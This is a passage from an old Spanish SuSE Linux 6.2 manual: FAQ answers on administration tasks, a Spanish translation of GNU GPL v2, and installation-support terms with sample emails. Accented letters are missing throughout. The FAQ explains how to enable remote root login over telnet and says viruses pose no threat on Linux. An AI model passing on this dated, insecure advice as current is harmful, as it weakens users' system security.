y a sus particularidades. En /usr/doc/packages se puede encontrar docu-
mentacin sobre los programas. Las instrucciones generales tienen la forma
de HowTos (los Cmos en castellano) y se encuentran en el directorio
/usr/doc/howto/en (en ingls) o en /usr/doc/howto/es en castellano.
Se puede leer la documentacin por ejemplo con el comando:
less /usr/doc/howto/es/Dos-a-Linux-Como.gz
En el KDE tambin se pueden leer estos ficheros con el administrador de
ficheros kfm, aunque estn comprimidos. Se seleccionan sencillamente con
un click del mouse y cuando aparece la pregunta "Abrir con:" ("Open
with:") se introduce kedit.

Dnde se pueden conseguir consejos especiales y ayuda en general?


En Internet se encuentra nuestro banco de datos de soporte bajo http://
www.suse.de/sdb/de/html/index.html. Introduzca la palabra buscada
y contine o retroceda segn la History.

Cmo se pueden introducir comandos en KDE?


Pulsando `K' `Utilities' `Terminal'. Tambin se puede pulsar Alt 
 

+ F2 e introducir xterm. As aparecer un terminal (errneamente se le
denomina a veces Ventana DOS) para introducir comandos.

Hay muchos programas que no se encuentran en KDE.


Tambin se pueden iniciar todos los programas desde la ventana de un ter-
(xterm, ver arriba), introduciendo el nombre del programa seguido de
minal
 - .
No puedo entrar a mi computadora va telnet. Siempre me sale la
respuesta "Login incorrect".
Probablemente est intentando entrar al sistema como superusuario `root',
lo cual no es posible con telnet por razones de seguridad.
Genere con YaST un usuario normal (ver el apartado 3.7.7, Pgina 100) para
entrar con ste y cambiar posteriormente con su al superusuario `root'.
Es mucho ms seguro emplear el programa ssh en lugar de telnet ya
que ssh establece conexiones codificadas. La secure shell se encuentra
en la serie sec. Sin embargo, si prefiere entrar al sistema directamente
como superusuario `root', es posible activarlo modificando la entrada
`ROOT_LOGIN_REMOTE=no' a `yes' (Est en el fichero /etc/rc.config).
Despus debe ejecutar SuSEconfig.

468
F. Las SuSE Linux-FAQ

Cmo acceder a Internet con Linux?


El manual lo explica en el Captulo 7, Pgina 163.

Hay que temer los ataques de virus bajo Linux?


No.
Bajo Linux no existe ninguna amenaza seria de virus (ver el apartado 18.1.1,
Pgina 402). Mientras no se lance un virus como superusuario, ste no podr
provocar grandes daos que pongan en peligro la integridad del sistema. Los
escneres de virus para Linux sirven solamente para rastrear E-Mails por
virus de Windows (en el caso que la mquina con Linux sea un enrutador).

Dnde aparecen los mensajes de sistema?


En una ventana de terminal introduzca como superusuario `root' el sigu-
iente comando:
tierra: # tail -f /var/log/messages
En este aspecto hay otros programas interesantes como son: top, procinfo
y xosview.
Los mensajes durante el proceso de arranque se ven con
tierra: # dmesg
o mediante
tierra: # cat /var/log/boot.msg

Dnde se encuentra StarOffice?


StarOffice se encuentra en la serie pay como paquete so_es. Para instalarlo
use YaST, que le indica cul CD se debe introducir en el lector de CDs.

Durante la instalacin StarOffice pide una clave (Mediakey), dnde se


encuentra sta?
Desde SuSE Linux 6.1 el cdigo de registro y la Mediakey se encuentran
impresos en el manual. Encontrar los cdigos en la primera pgina del
manual impreso sobre un papel grueso : : :

Encontr un error en SuSE Linux. A quin se lo puedo comunicar?


Cercirese de que realmente se trate de un error de un programa y no de un
fallo de uso o de configuracin. Lea tambin la documentacin en /usr/
doc/packages y /usr/doc/howto. Tal vez el error ya ha sido reconocido
y encontrar algo en nuestro banco de datos de soporte bajo http://www.
suse.de/sdb/de/html/index.html. Introduzca una palabra clave y con-
tine o retroceda segn la History.
Si realmente resulta ser un error, mande una descripcin va E-Mail a
feedback@suse.de indicando en todo caso su cdigo de registro.

469
F. Las SuSE Linux-FAQ

Cmo se puede acceder a un CD-ROM?

Primero se debe montar el CD. Consulte en el manual el apartado 19.11.2,


Pgina 429.

El CD ya no sale del lector, qu puedo hacer?

Primero se debe desmontar el CD. Consulte en el manual el apartado 19.11.2,


Pgina 429.

Cmo se puede defragmentar el disco duro?

Linux tiene un sistema de ficheros inteligente, que no necesita defrag-


mentacin, ya que prcticamente no se fragmenta. Vigile solamente que las
particiones no ocupen ms del 90%.

Cmo se puede conocer el espacio libre en el disco?

Con el comando df -h; ver tambin el Captulo 19, Pgina 411.

Es posible hacer Copiar & Pegar en Linux?

Si.
Para usar Copiar & Pegar en modo texto, el programa gpm debe estar
iniciado. El funcionamiento en el Sistema X Window y en modo texto es:
Marcar apretando el botn izquierdo del mouse y movindolo, Pegar con el
botn del medio. La tecla derecha del mouse tiene normalmente una funcin
especial.

Cmo puedo instalar programas?

Los programas que forman parte de los SuSE Linux CDs se instalan preferi-
blemente con YaST. Muchos programas grandes y sofisticados se encuentran
en la serie pay.

Hay un programa del cual solo tengo el cdigo fuente. Cmo lo puedo
instalar?

La mejor ayuda para ello es un buen libro sobre Linux ver http://www.
suse.de/buecher/index.html. En breve: Desempaquetar el archivo, leer
INSTALL o README y seguir las instrucciones. Normalmente los comandos
son: ./configure;make;make install. Consulte tambin los consejos
adicionales sobre la administracin de paquetes en el apartado 15.3, Pgi-
na 361.
No podemos prestar soporte de instalacin sobre temas relacionados con pro-
gramas que Usted mismo compila.

470
F. Las SuSE Linux-FAQ

Necesito cortafuegos, Masquerading (enmascarar), servidor de correo


y servidor WWW. El soporte de instalacin me ayuda con la configu-
racin?
No.
El soporte de instalacin ayuda con el fin de poner en marcha la computa-
dora. Para los temas que no estn cubiertos por el soporte de instalacin
existen buenos libros y adems, se puede encontrar documentacin excelente
en /usr/doc/packages y /usr/doc/howto/en/NET3-HOWTO.gz

Mi hardware est soportado?


Lo mejor es consultar http://www.suse.de/cdb/.
Tambin se puede conseguir informacin con el comando
less /usr/doc/howto/en/Hardware-HOWTO.gz.

Tengo que borrar Windows para usar Linux?


No. Linux solo precisa espacio libre en el disco duro.
Ejecute bajo Windows el programa defrag y use despus el programa
fips del primer CD de SuSE Linux, que se encuentra en el directorio
\dosutils\fips\fips20. Este programa permite achicar la particin
de Windows con el fin de hacer espacio para Linux. Haga anteriormente un
respaldo de sus datos! Consulte las instrucciones de instalacin explcitas en
el apartado 2.3, Pgina 18.

Cunto espacio necesito para Linux?


Se puede comenzar con unos 300 MB, pero recomendamos alrededor de
1 GB. Para instalar todo se necesitan ms de 4 GB.

Necesito ms espacio para Linux. Cmo se puede aadir un nuevo disco


duro?
En un sistema Linux se pueden incorporar en cualquier momento discos duros
o particiones libres para obtener ms espacio.
Por ejemplo, si desea tener ms espacio en /opt, puede incorporar all un
disco duro nuevo. Se Procede de la siguiente manera:
1. Montar disco en la computadora y arrancar Linux.
2. Entrar al sistema como superusuario `root'.
3. Particionar con fdisk p. ej. como /dev/hdb1
4. Formatear la particin con mke2fs /dev/hdb1
5. Introducir los siguientes comandos:
tierra: # cd /opt
tierra:/opt # mkdir /opt2
tierra:/opt # mount /dev/hdb1 /opt2
tierra:/opt # tar cSpf - . | (cd /opt2 ; tar xvSpf - )

El posible mensaje de error "broken pipe" se puede ignorar.

471
F. Las SuSE Linux-FAQ

De todas formas compruebe cuidadosamente si todos los datos se han


copiado al nuevo disco. Despus puede mover el directorio antiguo y
generar un nuevo punto de montaje vaco:
tierra:/opt # mv /opt /opt.old
tierra:/opt # mkdir /opt

Ahora se debe dar de alta en el fichero /etc/fstab la nueva particin us-


ando un Editor. Esto puede ser similar a lo indicado en el Fichero F.0.1,
Pgina 472.

/dev/hdb1 /opt ext2 defaults 1 2

Fichero F.0.1: Extracto de /etc/fstab: Particin adicional

Ahora se debera parar la computadora y arrancar de nuevo.


6. Cuando la computadora se haya iniciado de nuevo, cercirese usando el
comando mount, si /dev/hdb1 realmente est montado bajo /opt. Si
todo funciona correctamente se pueden quitar ahora los datos antiguos
de /opt.old:
tierra: # cd /
tierra:/ # rm -fr opt.old

Por equivocacin compil un kernel nuevo. Cmo se puede instalar otra


vez el kernel original de SuSE Linux?
Se procede del modo indicado en el apartado 3.7.2, Pgina 93.

Quiero borrar Linux otra vez. Cmo lo hago?


Borre con fdisk la particin de Linux; puede ser necesario ejecutar fdisk
bajo Linux. Posteriormente arranque el sistema con un disquete de MS-DOS
e introduzca bajo DOS o Windows el comando fdisk /mbr.

472
Apndice G
La licencia pblica general GNU
(GPL)

Esta traduccin no reemplaza la GPL en el sentido jurdico. Tampoco se


trata de una traduccin castellana autorizada por parte de la Free Software
Foundation (FSF). El original en ingls se puede consultar en http://www.
gnu.org.

LICENCIA PBLICA GENERAL GNU


Versin 2, Junio de 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave,
Cambridge, MA 02139, EEUU

Se permite a todo el mundo la copia y distribucin de copias literales de este


documento de licencia, pero no se permite su modificacin.

Prembulo

Las licencias que cubren la mayor parte del software estn diseadas para
quitarle a usted la libertad de compartirlo y modificarlo. Por el contrario, la
Licencia Pblica General GNU pretende garantizarle la libertad de compartir
y modificar software librepara asegurar que el software es libre para todos
sus usuarios. Esta Licencia Pblica General se aplica a la mayor parte del
software de la Free Software Foundation y a cualquier otro programa cuyos
autores se comprometen a utilizarla. (Alguna parte del software de la Free
Software Foundation est cubierto por la Licencia Pblica General GNU para
Libreras). Usted tambin la puede aplicar a sus programas.
Cuando hablamos de software libre, estamos refirindonos a la libertad, no
al precio. Nuestras Licencias Pblicas Generales estn diseadas para asegu-
rarnos de que tenga la libertad de distribuir copias de software libre (y cobrar
por ese servicio si quiere), que reciba el cdigo fuente o que pueda conseguir-
lo si lo quiere, que pueda modificar el software o usar fragmentos de l en
nuevos programas libres, y que sepa que puede hacer todas estas cosas.
Para proteger sus derechos necesitamos algunas restricciones que prohiban a
cualquiera negarle a usted estos derechos o pedirle que renuncie a ellos. Estas
restricciones se traducen en ciertas obligaciones que le afectan si distribuye
copias del software, o si lo modifica.

473
G. La licencia pblica general GNU (GPL)

Por ejemplo, si distribuye copias de uno de estos programas, sea gratuita-


mente, o a cambio de una contraprestacin, debe dar a los receptores todos los
derechos que tiene. Debe asegurarse de que ellos tambin reciben, o pueden
conseguir, el cdigo fuente. Y debe mostrarles estas condiciones de forma
que conozcan sus derechos.
Protegemos sus derechos con la combinacin de dos medidas: (1) ponemos
el software bajo copyright y (2) le ofrecemos esta licencia, que le da permiso
legal para copiar, distribuir y/o modificar el software.
Tambin, para la proteccin de cada autor y la nuestra propia, queremos
asegurarnos de que todo el mundo comprende que no se proporciona ninguna
garanta para este software libre. Si el software es modificado por cualquiera
y ste a su vez lo distribuye, queremos que sus receptores sepan que lo que
tienen no es el original, de forma que cualquier problema introducido por
otros no afecte a la reputacin de los autores originales.
Por ltimo, cualquier programa libre est constantemente amenazado por
patentes sobre el software. Queremos evitar el riesgo de que los redis-
tribuidores de un programa libre individualmente obtengan patentes, haciendo
el programa propietario a todos los efectos. Para prevenir esto, hemos dejado
claro que cualquier patente debe ser concedida para el uso libre de cualquiera,
o no ser concedida en absoluto.
Los trminos exactos y las condiciones para la copia, distribucin y modifi-
cacin se exponen a continuacin.

LICENCIA PBLICA GENERAL GNU


TRMINOS Y CONDICIONES PARA LA COPIA, DISTRIBUCIN
Y MODIFICACIN

0. Esta Licencia se aplica a cualquier programa u otra obra que contenga


un aviso colocado por el propietario del copyright diciendo que puede ser
distribuido bajo los trminos de esta Licencia Pblica General. En adelante,
"Programa"se referir a cualquier programa u obra de esta clase y na obra
basada en el Programa"se referir bien al Programa o a cualquier obra deriva-
da de este segn la ley de copyright. Esto es, una obra que contenga el pro-
grama o una porcin de este, bien en forma literal o con modificaciones y/o
traducido en otro lenguaje. Por lo tanto, la traduccin est incluida sin lim-
itaciones en el trmino "modificacin". Cada propietario de una licencia ser
tratado como sted".
Cualquier otra actividad que no sea la copia, distribucin o modificacin no
est cubierta por esta Licencia, est fuera de su mbito. El acto de ejecutar el
Programa no est restringido, y los resultados del Programa estn cubiertos
nicamente si sus contenidos constituyen una obra basada en el Programa, in-
dependientemente de haberlo producido mediante la ejecucin del programa.
Que esto se cumpla, depende de lo que haga el programa.
1. Usted puede copiar y distribuir copias literales del cdigo fuente del Pro-
grama, tal y como lo recibi, por cualquier medio, supuesto que de forma
adecuada y bien visible publique en cada copia un anuncio de copyright ade-
cuado y una renuncia de garanta, mantenga intactos todos los anuncios que se

474
G. La licencia pblica general GNU (GPL)

refieran a esta Licencia y a la ausencia de garanta, y proporcione a cualquier


otro receptor del programa una copia de esta Licencia junto con el Programa.
Puede cobrar un precio por el acto fsico de transferir una copia, y puede a su
eleccin ofrecer garanta a cambio de unos honorarios.
2. Usted puede modificar su copia o copias del Programa o cualquier porcin
de l, formando de esta manera una obra basada en el Programa, y copiar y
distribuir esa modificacin u obra bajo los trminos del apartado 1 anterior,
siempre que adems cumpla las siguientes condiciones:
a) Debe procurar que los ficheros modificados incluyan notificaciones desta-
cadas manifestando que los ha cambiado y la fecha de cualquier cambio.
b) Usted debe procurar que cualquier obra que distribuya o publique, que en
todo o en parte contenga o sea derivada del Programa o de cualquier parte
de l, sea licenciada como un todo, sin cargo alguno para terceras partes
bajo los trminos de esta Licencia.
c) Si el programa modificado lee normalmente rdenes interactivamente
cuando al ejecutarse, debe hacer que cuando comience su ejecucin para
ese uso interactivo de la forma ms habitual, muestre o escriba un men-
saje que incluya un anuncio de copyright y un anuncio de que no se ofrece
ninguna garanta (o por el contrario que s se ofrece garanta) y que los
usuarios pueden redistribuir el programa bajo estas condiciones, e indi-
cando al usuario cmo ver una copia de esta licencia. (Excepcin: si el
propio programa es interactivo pero normalmente no muestra ese anun-
cio, no est obligado a que su obra basada en el Programa muestre ningn
anuncio).
Estos requisitos se aplican a la obra modificada como un todo. Si algunas sec-
ciones claramente identificables de esa obra no estn derivadas del Programa,
y pueden razonablemente ser consideradas como obras independientes y sep-
arados por s mismas, entonces esta Licencia y sus trminos no se aplican a
esas partes cuando sean distribuidas como trabajos separados. Pero cuando
distribuya esas mismas secciones como partes de un todo que es una obra
basada en el Programa, la distribucin de ese todo debe cumplir los trminos
de esta Licencia, cuyos permisos para otros licenciatarios se extienden al todo
completo, y por lo tanto a todas y cada una de sus partes, con independencia
de quin la escribi.
Por lo tanto, no es intencin de este apartado reclamar derechos u oponerse
a sus derechos sobre obras escritas enteramente por usted; sino que la inten-
cin es ejercer el derecho de controlar la distribucin de obras derivadas o
colectivas basadas en el Programa.
Adems, el simple hecho de reunir otro trabajo no basado en el Programa
con el Programa (o con un trabajo basado en el Programa) en un medio de
almacenamiento o en un medio de distribucin no hace que dicho trabajo
entre dentro del mbito cubierto por esta Licencia.
3. Usted puede copiar y distribuir el Programa (o una obra basada en l, segn
se especifica en la Seccin 2) en forma de cdigo objeto o ejecutable bajo los
trminos de las Secciones 1 y 2 anteriores mientras cumpla adems una de las
siguientes condiciones:

475
G. La licencia pblica general GNU (GPL)

a) Acompaarlo con el cdigo fuente completo correspondiente en formato


legible para un ordenador, que debe ser distribuido bajo los trminos de
las Secciones 1 y 2 anteriores en un medio utilizado habitualmente para
el intercambio de programas, o
b) Acompaarlo con una oferta por escrito, vlida durante al menos tres
aos, por un coste no mayor que el de realizar fsicamente la distribucin
del fuente, de proporcionar a cualquier tercera parte una copia completa
en formato legible para un ordenador del cdigo fuente correspondiente,
que ser distribuido bajo las condiciones descritas en las Secciones 1 y
2 anteriores, en un medio utilizado habitualmente para el intercambio de
programas, o
c) Acompaarlo con la informacin que usted recibi referida al ofrecimien-
to de distribuir el cdigo fuente correspondiente. (Esta opcin se permite
slo para la distribucin no comercial y slo si usted recibi el programa
como cdigo objeto o en formato ejecutable con una oferta de este tipo,
de acuerdo con la Seccin b anterior).
Se entiende por cdigo fuente de un trabajo a la forma preferida de la obra
para hacer modificaciones sobre este. Para una obra ejecutable, se entiende
por cdigo fuente completo todo el cdigo fuente para todos los mdulos que
contiene, ms cualquier fichero asociado de definicin de interfaces, ms los
guiones utilizados para controlar la compilacin e instalacin del ejecutable.
Como excepcin especial el cdigo fuente distribuido no necesita incluir nada
que sea distribuido normalmente (ya sea en formato fuente o binario) con
los componentes fundamentales (compilador, kernel y similares) del sistema
operativo en el cual funciona el ejecutable, a no ser que el propio componente
acompae al ejecutable.
Si la distribucin del ejecutable o del cdigo objeto se realiza ofreciendo acce-
so a una copia desde un lugar designado, entonces se considera el ofrecimien-
to del acceso para copiar el cdigo fuente del mismo lugar como distribucin
del cdigo fuente, incluso aunque terceras partes no estn obligadas a copiar
el fuente junto al cdigo objeto.
4. No puede copiar, modificar, sublicenciar o distribuir el Programa excep-
to como est expresamente permitido por esta Licencia. Cualquier intento de
copiar, modificar sublicenciar o distribuir el Programa de otra forma es invli-
do, y har que cesen automticamente los derechos que le proporciona esta
Licencia. En cualquier caso, las partes que hayan recibido copias o derechos
bajo esta Licencia no vern sus Licencias calceladas, mientras esas partes
continen cumplindo totalmente la Licencia.
5. No est obligado a aceptar esta licencia, ya que no la ha firmado. Sin
embargo, no hay hada ms que le proporcione permiso para modificar o dis-
tribuir el Programa o sus trabajos derivados. Estas acciones estn prohibidas
por la ley si no acepta esta Licencia. Por lo tanto, si modifica o distribuye
el Programa (o cualquier trabajo basado en el Programa), est indicando que
acepta esta Licencia para poder hacerlo, y todos sus trminos y condiciones
para copiar, distribuir o modificar el Programa o trabajos basados en l.
6. Cada vez que redistribuya el Programa (o cualquier trabajo basado en el
Programa), el receptor recibe automticamente una licencia del licenciatario

476
G. La licencia pblica general GNU (GPL)

original para copiar, distribuir o modificar el Programa, de forma sujeta a


estos trminos y condiciones. No puede imponer al receptor ninguna restric-
cin ms sobre el ejercicio de los derechos aqu garantizados. No es usted
responsable de hacer cumplir esta licencia por terceras partes.
7. Si como consecuencia de una resolucin judicial o de una alegacin de
infraccin de patente o por cualquier otra razn (no limitada a asuntos rela-
cionados con patentes) se le imponen condiciones (ya sea por mandato ju-
dicial, por acuerdo o por cualquier otra causa) que contradigan las condi-
ciones de esta Licencia, ello no le exime de cumplir las condiciones de esta
Licencia. Si no puede realizar distribuciones de forma que se satisfagan si-
multneamente sus obligaciones bajo esta licencia y cualquier otra obligacin
pertinente entonces, como consecuencia, no puede distribuir el Programa de
ninguna forma. Por ejemplo, si una patente no permite la redistribucin libre
de derechos de autor del Programa por parte de todos aquellos que reciban
copias directa o indirectamente a travs de usted, entonces la nica forma
en que podra satisfacer tanto esa condicin como esta Licencia sera evitar
completamente la distribucin del Programa.
Si cualquier porcin de este apartado se considera no vlido o imposible de
cumplir bajo cualquier circunstancia particular ha de cumplirse el resto y la
seccin por entero ha de cumplirse en cualquier otra circunstancia.
No es el propsito de este apartado inducirle a infringir ninguna patente ni
ningn otro derecho de propiedad o impugnar la validez de ninguna de dichas
reclamaciones. Este apartado tiene el nico propsito de proteger la inte-
gridad del sistema de distribucin de software libre, que se realiza mediante
prcticas de licencia pblica. Mucha gente ha hecho contribuciones generosas
a la gran variedad de software distribuido mediante ese sistema con la con-
fianza de que el sistema se aplicar consistentemente. Ser el autor/donante
quien decida si quiere distribuir software mediante cualquier otro sistema y
una licencia no puede imponer esa eleccin.
Este apartado pretende dejar completamente claro lo que se cree que es una
consecuencia del resto de esta Licencia.
8. Si la distribucin y/o uso de el Programa est restringido en ciertos pases,
bien por patentes o por interfaces bajo copyright, el poseedor del copyright
que coloca este Programa bajo esta Licencia puede aadir una limitacin
explcita de distribucin geogrfica excluyendo esos pases, de forma que la
distribucin se permita slo en o entre los pases no excluidos de esta manera.
En ese caso, esta Licencia incorporar la limitacin como si estuviese escrita
en el cuerpo de esta Licencia.
9. La Free Software Foundation puede publicar versiones revisadas y/o
nuevas de la Licencia Pblica General de tiempo en tiempo. Dichas ver-
siones nuevas sern similares en espritu a la presente versin, pero pueden
ser diferentes en detalles para considerar nuevos problemas o situaciones.
Cada versin recibe un nmero de versin que la distingue de otras. Si el
Programa especifica un nmero de versin de esta Licencia que se aplica a
ella y a "cualquier versin posterior", tiene la opcin de seguir los trminos y
condiciones, bien de esa versin, bien de cualquier versin posterior publica-
da por la Free Software Foundation. Si el Programa no especifica un nmero

477
G. La licencia pblica general GNU (GPL)

de versin de esta Licencia, puede escoger cualquier versin publicada por la


Free Software Foundation.
10. Si usted desea incorporar partes del Programa en otros programas libres
cuyas condiciones de distribucin son diferentes, escriba al autor para pedirle
permiso. Si el software tiene copyright de la Free Software Foundation, es-
criba a la Free Software Foundation: algunas veces hacemos excepciones en
estos casos. Nuestra decisin estar guiada por el doble objetivo de preservar
la libertad de todos los derivados de nuestro software libre y promover el que
se comparta y reutilice el software en general.

AUSENCIA DE GARANTA

YA QUE EL PROGRAMA SE LICENCIA LIBRE DE CARGAS, NO SE


OFRECE NINGUNA GARANTA SOBRE EL PROGRAMA, HASTA LO
PERMITIDO POR LAS LEYES APLICABLES. EXCEPTO CUANDO SE
INDIQUE LO CONTRARIO POR ESCRITO, LOS POSEEDORES DEL
COPYRIGHT Y/U OTRAS PARTES PROVEEN EL PROGRAMA "TAL Y
COMO EST", SIN GARANTA DE NINGUNA CLASE, YA SEA EX-
PRESA O IMPLCITA, INCLUYENDO, PERO NO LIMITNDOSE A,
LAS GARANTAS IMPLCITAS DE COMERCIABILIDAD Y APTITUD
PARA UN PROPSITO PARTICULAR. TODO EL RIESGO EN CUANTO
A LA CALIDAD Y FUNCIONAMIENTO DEL PROGRAMA LO ASUME
USTED. SI EL PROGRAMA SE COMPROBARA QUE EST DEFECTU-
OSO, USTED ASUME EL COSTO DE TODO SERVICIO, REPARACIN
O CORRECCIN QUE SEA NECESARIO.
EN NINGN CASO, A NO SER QUE SE REQUIERA POR LAS LEYES
APLICABLES O SE ACUERDE POR ESCRITO, PODR NINGN
POSEEDOR DE COPYRIGHT O CUALQUIER OTRA PARTE QUE HAYA
MODIFICADO Y/O REDISTRIBUIDO EL PROGRAMA, SER RESPON-
SABLE ANTE USTED POR DAOS O PERJUICIOS, INCLUYENDO
CUALQUIER DAO GENERAL, ESPECIAL, INCIDENTAL O CONSE-
CUENTE DEBIDO AL USO O LA IMPOSIBILIDAD DE PODER USAR
EL PROGRAMA (INCLUYENDO PERO NO LIMITNDOSE A LA PR-
DIDA DE DATOS O LA PRODUCCIN DE DATOS INCORRECTOS O
PRDIDAS SUFRIDAS POR USTED O POR TERCERAS PARTES O LA
IMPOSIBILIDAD DEL PROGRAMA DE OPERAR JUNTO A OTROS
PROGRAMAS), INCLUSO SI EL POSEEDOR DEL COPYRIGHT U
OTRA PARTE HA SIDO AVISADO DE LA POSIBILIDAD DE TALES
DAOS.

FIN DE TRMINOS Y CONDICIONES


Anexo: Cmo aplicar estos trminos a sus nuevos programas.

Si usted desarrolla un nuevo Programa, y quiere que sea del mayor uso posible
para el pblico en general, la mejor forma de conseguirlo es convirtindolo
en software libre que cualquiera pueda redistribuir y cambiar bajo estos tr-
minos.
Para hacerlo, aada los siguientes avisos al programa. Lo ms seguro es
aadirlos al principio de cada fichero fuente para comunicar lo ms efectiva-

478
G. La licencia pblica general GNU (GPL)

mente posible la ausencia de garanta. Adems cada fichero debera tener al


menos la lnea de "copyright"y una indicacin del lugar donde se encuentra
la notificacin completa.
una lnea para indicar el nombre del programa y una rpida idea de lo que
hace Copyright (C) 19yy nombre del autor
Este programa es software libre; usted puede redistribuirlo y/o modificarlo
bajo los trminos de la Licencia Pblica General GNU tal y como est pub-
licada por la Free Software Foundation; ya sea la versin 2 de la Licencia o
(a su eleccin) cualquier versin posterior.
Este programa se distribuye con la esperanza de que sea til, pero SIN
NINGUNA GARANTA; ni siquiera la garanta implcita de COMERCIABIL-
IDAD o APTITUD PARA UN PROPSITO ESPECFICO. Vea la Licencia
Pblica General GNU para ms detalles.
Usted debera haber recibido una copia de la Licencia Pblica General junto
con este programa. Si no ha sido as, escriba a la Free Software Foundation,
Inc., en 675 Mass Ave, Cambridge, MA 02139, EEUU.
Aada tambin informacin sobre cmo contactar con usted mediante correo
electrnico y postal.
Si el programa es interactivo, haga que muestre un pequeo anuncio como el
siguiente, cuando comience a funcionar en modo interactivo:
Gnomovision versin 69, Copyright (C) 19yy nombre del autor Gnomovision
no ofrece ABSOLUTAMENTE NINGUNA GARANTA; para ms detalles es-
criba show w. Esto es software libre, y se le invita a redistribuirlo bajo
ciertas condiciones. Escriba show c para ms detalles.
Los comandos hipotticos show w y show c deberan mostrar las partes
adecuadas de la Licencia Pblica General. Por supuesto, los comandos que
use pueden llamarse de cualquier otra manera. Podran incluso ser pulsa-
ciones del ratn o elementos de un menlo que sea apropiado para su pro-
grama).
Tambin debera conseguir que el empresario (si trabaja como programador)
o su centro acadmico, si es el caso, firme una "renuncia de copyright"para el
programa, si es necesario. A continuacin se ofrece un ejemplo, cambie los
nombres:
Yoyodyne, Inc. con la presente renuncia a cualquier inters de derechos
de copyright con respecto al programa Gnomovision (que hace pasadas
a compiladores) escrito por Pepe Programador.
firma de Pepito Grillo , 20 de diciembre de 1996 Pepito Grillo, Presidente
de Asuntillos Varios.
Esta Licencia Pblica General no permite incorporar su programa a progra-
mas propietarios. Si su programa es una librera de subrutinas, puede con-
siderar ms til el permitir el enlazado de aplicaciones propietarias con la
librera. Si este es el caso, use la Licencia Pblica General GNU para Libr-
eras en lugar de esta Licencia.

479
G. La licencia pblica general GNU (GPL)

480
Apndice H
Soporte y servicios

A lo largo de los ltimos aos hemos notado que la aparicin de problemas


durante la instalacin va disminuyendo con el desarrollo de Linux, pero que
los problemas no desaparecen por completo. Muchas de las experiencias
hechas a base de los problemas reales de los usuarios se han introducido
en este libro, para evitarle a Ud. distinguido lector, un fin de semana de
desesperacin, sin el soporte por telfono que existe durante la semana y para
ayudarle a continuar con la instalacin de su sistema.
Cuando tenga problemas, antes de ponerse en contacto con nuestro equipo
de soporte, por favor cercirese de que la solucin no aparece an en este
libro o en nuestro banco de datos de soporte1; adems, debera consultar
los distintos ficheros README del primer CD.

H.1 60 das de soporte de instalacin


H.1.1 Sin registro, ningn soporte!
Para ofrecerle un soporte de instalacin ptimo, solo contestamos a preguntas
hechas por usuarios de SuSE Linux registrados.
En la primera pgina de este manual puede encontrar una tarjeta de registro
que incluye su cdigo de registro. Este cdigo es nico y verifica la autenti-
cidad del paquete.
El paquete de SuSE Linux contiene una tarjeta de registro que indica su Cdigo de
cdigo. Este cdigo es nico y verifica la autenticidad del paquete; adems, registro
coincide con el que se encuentra en la primera pgina de su manual.

Como el cdigo de registro y el derecho a soporte estn vinculados al


producto, le rogamos registrar cada edicin de SuSE Linux, aunque se
se trate de una actualizacin o si ha adquirido el producto directamente de
nuestra casa. No ser registrado automticamente al comprar el paquete!

H.1.2 Cobertura del soporte de instalacin


La pretensin del soporte de instalacin es hacer funcionar su computadora
con SuSE Linux. Esto implica:
1 El apartado H.3, Pgina 484 explica cmo acceder a ello va Internet o instalando un paquete

de software.

481
H. Soporte y servicios de SuSE GmbH

 la instalacin de SuSE Linux desde el CD


 la configuracin bsica de una estacin de trabajo
 los ajustes bsicos de la superficie grfica del tipo X11
 la configuracin bsica de un modem analgico para el acceso a Internet
(solo en el lado del cliente)
 la configuracin bsica de una tarjeta RDSI para el acceso a Internet (solo
en el lado del cliente)
 la configuracin de una impresora local.

El soporte de instalacin no tramitar los temas que no hayan sido men-


cionados arriba. Cualquier pregunta sobre ello no se responder.
Nuestro soporte de instalacin se entiende como una ayuda para la instalacin
bsica del sistema y no como enseanza sobre Linux. Esto significa que el
soporte solo cubre problemas de configuracin y no problemas de compren-
sin.
Pese a todos los esfuerzos que hacemos, a veces ocurre que SuSE Linux no
funciona con una determinada configuracin de hardware o que no funciona
al cien por cien. Esperamos que entienda que no le podemos dar una garanta
total de funcionamiento.
Aparte del verdadero ncleo de Linux, ofrecemos tambin varios centenares
de paquetes de software (actualmente alrededor de 850) incluidos en nuestro
paquete SuSE Linux. Tratamos de mantener estos paquetes actualizados, no
obstante, no siempre podemos conocer en detalle la configuracin de todos
y tampoco programar suplementos para ellos. Por eso, lo mejor es tratar
de consultar la documentacin disponible como las manpages, los ficheros
README, ayuda en lnea, etc.

H.2 La va ms rpida!
Aqu le damos un par de instrucciones que le permiten recibir cuanto antes
una respuesta de nuestro equipo de soporte. El sistema automtico que ges-
tiona este soporte solamente puede procesar los E-Mails que cumplen el es-
tndar que se expone a continuacin. Los dems mensajes tienen que ser
ordenados a mano para poder pasarlos a las personas responsables de la sec-
cin.

 Por favor registre su SuSE Linux online en nuestra pgina web en la


direccin http://www.suse.de/form-registration.html, tambin
si lo ha adquirido directamente en SuSE.
 Escriba un E-Mail directamente a la direccin support@suse.de tal co-
mo est indicado en support@suse.de; tenga cuidado con las mays-
culas y minsculas cuando est escribiendo sus datos de cliente, de lo
contrario su E-Mail no podr ser tratado automticamente. Deje vacos
los cuadros que no necesita (p. ej. FIRMA).
 No use attachments (p. ej. tarjetas de visita en formato X-VCARD), mejor
incorpore los ficheros de configuracin en formato ASCII directamente en
el mensaje (ver Fichero H.2.2).

482
H.2. La va ms rpida!

NOMBRE: Quintus
APELLIDO: Dr. Sabelotodo
EMPRESA: Listonera (Laboratorio)
Direccin: Plaza Ssamo 4711
C.P.: 00815
CIUDAD: Timbuktu
PAIS: Espaa
REGCODE: XXXXXX
EMAIL: sabelotodo@quinto-pino.es

Distinguido equipo de soporte SuSE:

Aqu en mi laboratorio tengo un pequeo problema.

Despus de haber instalado SuSE Linux 6.2 recibo el


siguiente error cuando el kernel arranca:

"Unable to open an initial console"

Tengo un Pentium 400 con 128 MB RAM y disco duro de 8 GB IDE.


Qu hago mal?

Saludos cordiales
(tambin por parte de mi asistente Prez)

Dr. Quintus Sabelotodo


<sabelotodo@nowhere.es>

Fichero H.2.1: Ejemplo de pregunta va E-Mail

...tengo un problema con Lilo. A continuacin viene la parte


importante de mi fichero /etc/lilo.conf

---corte---
# Linux bootable partition config begins
image = /boot/vmlinuz
root = /dev/sda2
label = linux-2.0.36
# Linux bootable partition config ends
---corte---

Fichero H.2.2: Parte de una pregunta por E-Mail con fichero de configuracin

483
H. Soporte y servicios de SuSE GmbH

Duracin del soporte de instalacin

El soporte de instalacin para un SuSE Linux -CD es de 60 das a partir de la


